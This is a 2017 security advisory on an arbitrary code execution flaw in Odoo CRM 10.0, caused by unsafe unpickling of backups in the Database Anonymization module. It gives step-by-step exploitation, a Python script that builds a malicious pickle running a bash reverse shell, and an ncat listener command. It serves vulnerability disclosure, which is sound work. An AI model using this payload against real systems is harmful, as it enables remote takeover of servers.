SSD Advisory – Odoo CRM Code Execution

blogs.securiteam.com/index.php/archives/3246

SSD / Maor Schwartz June 30, 2017

Vulnerability Summary
The following advisory describe arbitrary Python code execution found in Odoo CRM version 10.0

Odoo is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc. Odoo's unique value proposition is to be at the same time very easy to use and fully integrated.

Credit
An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response
Odoo has done a private disclosure for the issue we reported, and the patch was merged in all supported branches.

The full public disclosure will be available at https://github.com/odoo/odoo/issues/17898.

Vulnerability Details
One of the core Odoo modules, Database Anonymization, allows an administrator to anonymize the contents of the Odoo database. The module does this by serializing the contents of the existing database using Python's pickle module into a backup file before modifying the contents of the database. The administrator can then de-anonymize the database by loading the pickled backup file.

Python's pickle module can be made to execute arbitrary Python code when loading an attacker controlled pickle file. With this, an administrator can execute arbitrary Python code with the same privilege level as the Odoo webapp by anonymizing the database then attempt the de-anonymization process with a crafted pickle file.

Proof of Concept
In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install "Database Anonymization" in the search bar. We have to deselect the "Apps" filter in the search bar for it to show up.

Once we have the module installed, we navigate to the settings page and select "Anonymize database" under "Database anonymization" and click on the "Anonymize Database" button. Next, we refresh the page and navigate to the same page under settings. We upload the "exploit.pickle" file generated our script and click on "Reverse the Database Anonymization" button. We should have a reverse shell.

The following Python file generate a malicious pickle file that attempts (via bash) to connect back to a listener on port 8000:

```
import cPickle
import os
import base64
import pickletools

class Exploit(object):
def __reduce__(self):
return (os.system, (("bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"),))

with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
```

We then use netcat listener on port 8000:

```
ncat -nlvp 8000
```